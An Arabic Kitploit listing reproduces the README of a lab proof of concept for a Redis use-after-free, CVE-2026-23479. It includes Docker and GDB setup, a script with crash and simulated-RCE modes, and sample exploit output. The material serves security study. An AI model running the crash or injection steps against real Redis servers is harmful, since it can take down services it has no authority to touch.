Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي/المختبري فقط) | Kitploit
أدوات/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
تحليل الثغرات الأمنيةالاستغلالمصممي الأخطاءالتعلم والتعليمأمن قواعد البياناتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي/المختبري فقط)

عرض المستودع
8منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🔥 CVE-2026-23479 – إثبات المفهوم لثغرة UAF في Redis

License Python Docker CVE PoC

Use-After-Free في Redis unblockClientOnKey() يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد
إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي / المختبري فقط)

📖 نظرة عامة

CVE-2026-23479 هي ثغرة Use-After-Free (UAF) حرجة في إصدارات Redis من 7.2.0 حتى 8.6.2.
تقع الثغرة في unblockClientOnKey() التي تستدعي . إذا تم تحرير العميل أثناء تلك المكالمة (مثلاً بسبب الإخلاء)، يستمر المتصل في التعامل مع مؤشر معلّق → . يمكن للمهاجم الذي يستطيع تشكيل الكومة بعد التحرير تحقيق .

processCommandAndResetClient()
دون التحقق من قيمة الإرجاع

UAF

تنفيذ تعسفي للكود

يوفّر هذا المستودع PoC بمساعدة GDB يقوم بـ:

  • استهداف مسار الكود المعرّض للثغرة بدقة
  • إثبات UAF عبر التسبّب عمداً في انهيار (استدعاء freeClient())
  • توضيح تنفيذ أوامر تعسفي عبر حقن استدعاء system() في النقطة نفسها

⚠️ مهم: هذا ليس استغلالاً حقيقياً. يستخدم GDB داخل حاوية Docker بصلاحيات مميزة لمحاكاة ما يمكن أن يحققه المهاجم الحقيقي بعد استغلال UAF بنجاح.
استخدمه فقط في مختبرك الخاص أو على أنظمة لديك إذن صريح لاختبارها.

✨ الميزات

  • 🧪 أربعة أوضاع تشغيل – crash, gdb, rce, full
  • 🐳 يعتمد على Docker – لا حاجة لتثبيت نسخة Redis معرّضة للثغرة على المضيف
  • 🔍 كشف تلقائي للإصدار – يتحقق مما إذا كان الهدف ضمن النطاق المتأثر
  • 🧹 يُنظّف نفسه – ينهي جلسات GDB القديمة قبل كل تشغيل
  • 🎯 اسم حاوية مرن – مرّر أي حاوية عبر --container
  • 📦 ملف Python واحد – لا تبعيات خارج المكتبة القياسية

🧠 كيف يعمل

  1. احجب الضحية – أمر XREAD BLOCK يجعل العميل ينتظر بيانات الدفق.
  2. أرفق GDB – يرفق GDB بمعالجة Redis (pid 1) داخل الحاوية.
  3. عيّن نقطة توقف على processCommandAndResetClient – وهي الدالة التي تُستدعى عندما يُعاد معالجة العميل المحجوب.
  4. شغّل فك الحظر – أمر XADD على نفس الدفق يوقظ الضحية.
  5. عند الوصول إلى نقطة التوقف:
    • وضع gdb: يستدعي freeClient($rdi) → يتسبب عمداً في SIGSEGV → يثبت UAF.
    • وضع rce: يستدعي system("your command") → ينفّذ أوامر شل تعسفية باسم مستخدم Redis (root افتراضياً).
  6. تحقق – يتحقق السكربت من وجود ملف الإثبات المتوقع (RCE) أو ما إذا انهار Redis (UAF).

تُطلق نقطة التوقف في كل مرة يتم فيها فك حظر عميل محجوب، مما يُظهر أن مسار الكود نفسه الذي يحتوي على UAF يسمح أيضاً بتنفيذ كود.

📋 الإصدارات المتأثرة

الفرعالنطاق المتأثر
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

يقوم السكربت بتحليل إصدار Redis تلقائياً ويُبلّغ عما إذا كان معرّضاً للثغرة.

🐳 المتطلبات الأساسية

  • Docker مثبّت ويعمل
  • Python 3.8+ (يتم استخدام المكتبة القياسية فقط)
  • صورة Docker لـ Redis 8.6.2 تستخدم apt (مثل الصورة الرسمية redis:8.6.2)
  • يجب إنشاء الحاوية باستخدام --privileged (مطلوب لـ ptrace)

⚙️ الإعداد

1. استنساخ المستودع

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. تشغيل حاوية Redis معرّضة للثغرة

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. تثبيت GDB داخل الحاوية

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. التحقق

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 الاستخدام

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

الأوضاع

الوضعالوصف
crashمحاولة تحفيز UAF عبر الضغط على الذاكرة (بدون الحاجة إلى GDB). قد ينهار Redis، لكن الأمر غير مضمون.
gdbإرفاق GDB واستدعاء freeClient() عند نقطة التوقف → يفرض SIGSEGV (يثبت UAF).
rceإرفاق GDB واستدعاء system(cmd) عند نقطة التوقف → ينفّذ أمر شل داخل الحاوية.
fullتشغيل crash أولاً؛ إذا لم ينهار Redis، فسيتم الرجوع إلى gdb.

الخيارات

الوسيطالافتراضيالوصف
target(مطلوب)عنوان IP لخادم Redis
-p, --port6379منفذ Redis
-m, --modefullأحد الأوضاع: crash, gdb, rce, full
--containerenv-redis-vuln-1اسم حاوية Docker
--cmdid > /tmp/pwned_by_cveالأمر الذي سيتم تنفيذه في وضع rce

📚 أمثلة خطوة بخطوة

ملاحظة: يتم تنفيذ جميع الأوامر من الجهاز المضيف، وليس داخل حاوية Docker.

1. إثبات UAF عبر GDB

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

المخرجات المتوقعة (مقتطف)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

سينهار Redis بعد خطأ التجزئة.

أعد تشغيل الحاوية:

root@kitploit:~
docker start redis-vuln-local

2. تحقيق تنفيذ الأوامر عن بُعد (RCE)

أعد تشغيل Redis لضمان حالة نظيفة:

root@kitploit:~
docker restart redis-vuln-local

شغّل الأداة:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

تحقق من ملف الإثبات:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

في حال نجاح التنفيذ، سيكون الملف موجوداً، مما يثبت أنه تم تنفيذ:

root@kitploit:~
system("touch /tmp/pwned");

داخل حاوية Redis.

3. تحفيز UAF بدون GDB (الضغط على الذاكرة)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

إذا خرج Redis بشكل غير متوقع (لم تعد الحاوية قيد التشغيل)، فمن المرجح أن UAF قد تم تحفيزها.

أعد تشغيله باستخدام:

root@kitploit:~
docker start redis-vuln-local

4. تشغيل الاختبار الكامل

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

يعمل هذا الوضع على النحو التالي:

  1. يحاول التسبب في الانهيار عبر الضغط على الذاكرة.
  2. يرجع إلى الطريقة بمساعدة GDB إذا نجا Redis.

📸 نموذج للمخرجات (وضع RCE)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 التعديلات على السكربت الأصلي

كان الـ PoC الأصلي مربوطاً بشكل ثابت بحاوية باسم env-redis-vuln-1 ويحتوي على عدة مشاكل عند تنفيذه مع إصدارات أحدث من Python.

النسخة المحدّثة تقدّم التحسينات التالية:

المشكلةالإصلاح
اسم الحاوية الثابتتمت إضافة الوسيط --container ونشره عبر جميع الدوال.
أمر file كان موضوعاً داخل كتلة commands في سكربت GDBتم نقل file /usr/local/bin/redis-server قبل attach حتى يقوم GDB بتحميل الرموز بشكل صحيح.
استخدام subprocess.run() مع كل من capture_output=True و stderr=...تم الاستبدال بـ stdout=subprocess.DEVNULL و stderr=subprocess.DEVNULL.
عمليات GDB القديمة تسبب ptrace: Operation not permittedتمت إضافة pkill -9 gdb قبل تشغيل GDB في كل من trigger_uaf_gdb() و trigger_rce().
لا توجد تغذية راجعة عند فشل GDB بصمتتمت إضافة تسجيل تصحيحات (debug logging) لمخرجات GDB وتحسين كشف ملف الإثبات.

🧹 التنظيف

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ إخلاء مسؤولية

هذه الأداة مخصّصة حصراً للأغراض التعليمية، والبحث الأمني المصرّح به، واختبار الأنظمة التي تملكها أو لديك إذن صريح بتقييمها.

لا يقرّ المؤلف ولا يشجّع الاستخدام غير المصرّح به أو الضار.

احصل دائماً على التصريح المناسب قبل اختبار أي نظام إنتاجي أو تابع لجهة خارجية.

📚 المراجع

  • CVE-2026-23479 – تفاصيل NVD
  • أمان Redis
  • مستودع Redis على GitHub

صُنع بكل ❤️ لمجتمع الأمن السيبراني.

ابقَ أخلاقياً. ابقَ آمناً.

تنزيل الأداة